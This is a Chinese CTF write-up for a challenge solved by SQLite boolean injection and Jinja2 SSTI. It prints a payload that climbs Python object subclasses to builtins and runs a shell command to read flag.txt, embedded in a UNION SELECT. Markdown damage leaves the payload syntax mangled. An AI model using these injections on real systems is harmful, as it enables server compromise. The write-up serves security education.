点击此处获得更好的阅读体验
WriteUp来源
题目考点
SQLite注入
SSTI
解题思路
基于sqlite的sql注入
题目开始是一个登陆界面,经过测试可以知道有sql注入漏洞,且为sqlite数据库 可以通过bool注入得到口令为sqlite_not_safe
SSTI
然后是SSTI进行代码执行,这里是python3的环境,因此payload为:
1
{% raw %}{%{% endraw %} for c in [].**class**.**base**.**subclasses**() %}{% raw %}{%{% endraw %} if c.**name**=='catch_warnings' %}{% raw %}{{{% endraw %} c.**init**.**globals**['**builtins**'].eval("**import**('os').popen('cat flag.txt').read()") }}{% raw %}{%{% endraw %} endif %}{% raw %}{%{% endraw %} endfor %}
最终的payload为,需要注意的是sqlite的'转义并不是',而是''
1
1' union select '{% raw %}{%{% endraw %} for c in [].**class**.**base**.**subclasses**() %}{% raw %}{%{% endraw %} if c.**name**==''catch_warnings'' %}{% raw %}{{{% endraw %} c.**init**.**globals**[''**builtins**''].eval("**import**(''os'').popen(''cat flag.txt'').read()") }}{% raw %}{%{% endraw %} endif %}{% raw %}{%{% endraw %} endfor %}